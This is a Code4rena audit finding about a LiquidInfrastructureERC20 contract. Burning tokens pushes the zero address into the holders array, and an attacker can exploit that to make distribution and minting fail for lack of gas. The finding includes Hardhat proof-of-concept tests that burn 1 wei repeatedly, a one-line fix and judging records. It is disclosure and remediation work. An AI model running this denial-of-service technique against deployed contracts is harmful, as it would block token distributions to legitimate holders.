Platform: Code4rena
Start Date: 13/02/2024
Pot Size: $24,500 USDC
Total HM: 5
Participants: 84
Period: 6 days
Judge: 0xA5DF
Id: 331
League: ETH
Rank: 68/84
Findings: 1
Award: $7.18
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: BowTiedOriole
Also found by: 0x0bserver, 0xAadi, 0xJoyBoy03, 0xlamide, 0xlemon, 0xpiken, Babylen, Breeje, Brenzee, CodeWasp, DanielArmstrong, DarkTower, Fassi_Security, Fitro, Honour, JohnSmith, Krace, MrPotatoMagic, Myrault, ReadyPlayer2, SovaSlava, SpicyMeatball, TheSavageTeddy, Tigerfrake, atoko, cryptphi, csanuragjain, d3e4, gesha17, kinda_very_good, krikolkk, matejdb, max10afternoon, miaowu, n0kto, nuthan2x, parlayan_yildizlar_takimi, peanuts, petro_1912, pontifex, psb01, pynschon, rouhsamad, shaflow2, slippopz, spark, turvy_fuzz, web3pwn, zhaojohnson
7.1828 USDC - $7.18
An attacker can push enough zero addresses to the holders array to cause distribute
and mint
to fail with out of gas errors or consume too much gas
LiquidInfrastructureERC20::_beforeTokenTransfer()
pushes the to
address to the holders array if its balance is zero(indicating a new Holder). However, _beforeTokenTransfer()
is always called before a burn with the to
field initialized as an address(0)
, therfore burning the LiquidInfrastructureERC20
token will always push an address(0)
to the holders array because the balanceOf will always be zero.
By continuously burning as little as 1wei of LiquidInfrastructureERC20
$(1/10^{18})$ an attacker could cause a single transaction distributions(i.e LiquidInfrastructureERC20::distributeToAllHolders()
) or mint
to fail with out of gas errors and even make multiple transaction distributions to be gas-intensive & take too many transactions to execute.
The attack on distribute
is straight forward, the longer the the holder array the more gas is needed to iterate through it.
The attack on mint
is similar, the for-loop in _afterTokenTransfer
runs on every mint ,armed with this , an attacker could potentially cause both mint and distributions to fail with out of gas errors
//Add test to test/liquidERC20.ts it("should increase the number of holders after burn", async () => { const {infraERC20, badSigner } = await loadFixture( liquidErc20Fixture ); await infraERC20.approveHolder(badSigner.address); await infraERC20.mint(badSigner.address, ONE_ETH); const HOLDERS_ARRAY_SLOT = 9; const numOfHoldersBeforeBurn = await getStorageAt( await infraERC20.getAddress(), HOLDERS_ARRAY_SLOT ); //burning 1wei 10 times to increase the holder array by 10 for (let i = 0; i < 10; i++) { await infraERC20.connect(badSigner).burn(1); } const numOfHoldersAfterBurn = await getStorageAt( await infraERC20.getAddress(), HOLDERS_ARRAY_SLOT ); expect(parseInt(numOfHoldersAfterBurn)).to.equal(10 + parseInt(numOfHoldersBeforeBurn)); }); it("should increase mint cost after increasing holder array ", async () => { const { badSigner, holder1, infraERC20 } = await loadFixture(liquidErc20Fixture); await infraERC20.approveHolder(badSigner.address); await infraERC20.approveHolder(holder1.address); //mint with zero holders const firstMintTx = await infraERC20.mint(badSigner.address, ONE_ETH); const firstMintGas = (await firstMintTx.wait())?.gasUsed; //increase the holder array by 450 holders for (let i = 0; i < 450; i++) { await infraERC20.connect(badSigner).burn(1); } //mint with 451 holders const sedondMintTx = await infraERC20.mint(holder1.address, ONE_ETH); const secondMintGas = (await sedondMintTx.wait())?.gasUsed; //expect an increase in gas used, in this case 10x!! expect(secondMintGas).to.be.greaterThan(10n * firstMintGas!); });
Manual Review
Add address(0) check before pushing to holders array
File:contracts/LiquidInfrastructureERC20 //@ _beforeTokenTransfer() 143 if (!exists && to != address(0)) { // <@ 144 holders.push(to); 145 }
DoS
#0 - c4-pre-sort
2024-02-22T04:34:19Z
0xRobocop marked the issue as duplicate of #77
#1 - c4-judge
2024-03-04T13:16:06Z
0xA5DF marked the issue as satisfactory